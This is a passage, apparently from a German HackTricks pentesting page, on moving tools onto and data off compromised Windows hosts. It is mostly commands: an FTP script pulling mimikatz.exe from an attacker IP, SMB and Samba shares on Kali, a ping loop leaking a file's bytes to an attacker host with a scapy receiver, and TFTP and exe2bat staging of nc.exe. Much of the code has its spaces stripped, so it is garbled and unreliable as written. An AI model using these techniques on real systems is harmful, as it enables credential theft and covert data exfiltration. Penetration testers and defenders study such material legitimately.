#Run the following script to configure the FTP server#!/bin/bashgroupaddftpgroupuseradd-gftpgroup-d/dev/null-s/etcftpuserpure-pwduseraddfusr-uftpuser-d/ftphomepure-pwmkdbcd/etc/pure-ftpd/auth/ln-s../conf/PureDB60pdbmkdir-p/ftphomechown-Rftpuser:ftpgroup/ftphome//etc/init.d/pure-ftpdrestart
Windows-Client
#Work well with python. With pure-ftp use fusr:ftpechoopen10.11.0.4121>ftp.txtechoUSERanonymous>>ftp.txtechoanonymous>>ftp.txtechobin>>ftp.txtechoGETmimikatz.exe>>ftp.txtechobye>>ftp.txtftp-n-v-s:ftp.txt
SMB
Kali als Server
kali_op1>impacket-smbserver-smb2supportkali`pwd`# Share current directorykali_op2>smbserver.py-smb2supportname/path/folder# Share a folder#For new Win10 versionsimpacket-smbserver-smb2support-usertest-passwordtesttest`pwd`
Oder erstellen Sie einen SMB-Share mit Samba:
apt-getinstallsambamkdir/tmp/smbchmod777/tmp/smb#Add to the end of /etc/samba/smb.conf this:[public]comment=SambaonUbuntupath=/tmp/smbreadonly=nobrowsable=yesguestok=Yes#Start sambaservicesmbdrestart
Exfiltration
Exfiltration techniques are used to steal data from a target network. Once an attacker gains access to a system, they need to find a way to get the data out without being detected. There are several methods to exfiltrate data, including:
Compression: Compressing data before exfiltration can help evade detection.
Encryption: Encrypting the data makes it harder for security tools to detect.
Steganography: Hiding data within other files or images can be a stealthy way to exfiltrate information.
DNS Tunneling: Using DNS requests to send data out of a network can bypass some security controls.
Exfiltration over Alternative Protocols: Using protocols like ICMP or HTTP to exfiltrate data can also help avoid detection.
Attackers may also use tools like PowerShell or WMI for exfiltration, as these are built-in to Windows and may not be detected by security tools.
CMD-Wind> \\10.10.14.14\path\to\exeCMD-Wind>netusez: \\10.10.14.14\test/user:testtest#For SMB using credentialsWindPS-1>New-PSDrive-Name"new_disk"-PSProvider"FileSystem"-Root"\\10.10.14.9\kali"WindPS-2>cdnew_disk:
# To exfiltrate the content of a file via pings you can do:xxd-p-c4/path/file/exfil|whilereadline; doping-c1-p $line <IPattacker>; done#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import*#This is ippsec receiver created in the HTB machine Mischiefdefprocess_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type ==0:data = pkt[ICMP].load[-4:]#Read the 4bytes interestingprint(f"{data.decode('utf-8')}", flush=True, end="")sniff(iface="tun0", prn=process_packet)
SMTP
Wenn Sie Daten an einen SMTP-Server senden können, können Sie mit Python einen SMTP erstellen, um die Daten zu empfangen:
sudopython-msmtpd-n-cDebuggingServer:25
TFTP
Standardmäßig in XP und 2003 (bei anderen muss es während der Installation explizit hinzugefügt werden)
In Kali starten Sie den TFTP-Server:
#I didn't get this options working and I prefer the python optionmkdir/tftpatftpd--daemon--port69/tftpcp/path/tp/nc.exe/tftp
Visual Basic Script (VBScript) ist eine von Microsoft entwickelte Skriptsprache, die in Windows-Umgebungen häufig verwendet wird. VBScript kann verwendet werden, um Windows-spezifische Aufgaben auszuführen und kann auch für bösartige Zwecke wie Datenexfiltration eingesetzt werden.
Das Programm debug.exe ermöglicht nicht nur die Inspektion von Binärdateien, sondern hat auch die Fähigkeit, sie aus Hexadezimalwerten neu zu erstellen. Das bedeutet, dass debug.exe, indem es einen Hexadezimalwert einer Binärdatei bereitstellt, die Binärdatei generieren kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine Einschränkung beim Zusammenstellen von Dateien bis zu 64 KB Größe hat.
# Reduce the sizeupx-9nc.exewineexe2bat.exenc.exenc.txt
Dann kopieren Sie den Text in die Windows-Shell, und eine Datei namens nc.exe wird erstellt.* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)**Try Hard Security Group**<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<div data-gb-custom-block data-tag="embed" data-url='https://discord.gg/tryhardsecurity'></div><details><summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>